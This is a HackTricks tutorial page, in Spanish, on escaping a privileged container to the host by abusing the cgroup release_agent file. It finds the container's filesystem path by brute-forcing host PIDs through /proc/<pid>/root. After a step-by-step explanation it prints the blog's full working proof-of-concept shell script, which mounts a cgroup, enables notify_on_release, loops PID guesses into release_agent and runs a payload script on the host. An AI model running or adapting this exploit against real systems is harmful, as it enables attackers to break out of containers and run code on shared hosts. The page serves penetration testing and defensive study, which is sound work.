release_agent exploit - Relative Paths to PIDs

Support HackTricks

Para más detalles consulta el blog en https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Esto es solo un resumen:

La técnica describe un método para ejecutar código del host desde dentro de un contenedor, superando los desafíos planteados por las configuraciones del controlador de almacenamiento que oscurecen la ruta del sistema de archivos del contenedor en el host, como Kata Containers o configuraciones específicas de devicemapper.

Pasos clave:

  1. Localización de IDs de Proceso (PIDs): Usando el enlace simbólico /proc/<pid>/root en el pseudo-sistema de archivos de Linux, se puede acceder a cualquier archivo dentro del contenedor en relación con el sistema de archivos del host. Esto elude la necesidad de conocer la ruta del sistema de archivos del contenedor en el host.

  2. Bash de PID: Se emplea un enfoque de fuerza bruta para buscar a través de los PIDs en el host. Esto se hace verificando secuencialmente la presencia de un archivo específico en /proc/<pid>/root/<file>. Cuando se encuentra el archivo, indica que el PID correspondiente pertenece a un proceso que se ejecuta dentro del contenedor objetivo.

  3. Activación de Ejecución: La ruta del PID adivinada se escribe en el archivo cgroups release_agent. Esta acción activa la ejecución del release_agent. El éxito de este paso se confirma al verificar la creación de un archivo de salida.

Proceso de Explotación

El proceso de explotación implica un conjunto de acciones más detallado, con el objetivo de ejecutar una carga útil en el host adivinando el PID correcto de un proceso que se ejecuta dentro del contenedor. Así es como se desarrolla:

  1. Inicializar Entorno: Se prepara un script de carga útil (payload.sh) en el host, y se crea un directorio único para la manipulación de cgroup.

  2. Preparar Carga Útil: Se escribe y se hace ejecutable el script de carga útil, que contiene los comandos a ejecutar en el host.

  3. Configurar Cgroup: El cgroup se monta y se configura. Se establece la bandera notify_on_release para asegurar que la carga útil se ejecute cuando se libere el cgroup.

  4. Fuerza Bruta de PID: Un bucle itera a través de PIDs potenciales, escribiendo cada PID adivinado en el archivo release_agent. Esto efectivamente establece el script de carga útil como el release_agent.

  5. Activar y Verificar Ejecución: Para cada PID, se escribe en cgroup.procs del cgroup, activando la ejecución del release_agent si el PID es correcto. El bucle continúa hasta que se encuentra la salida del script de carga útil, indicando una ejecución exitosa.

PoC del blog:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Apoya a HackTricks

Last updated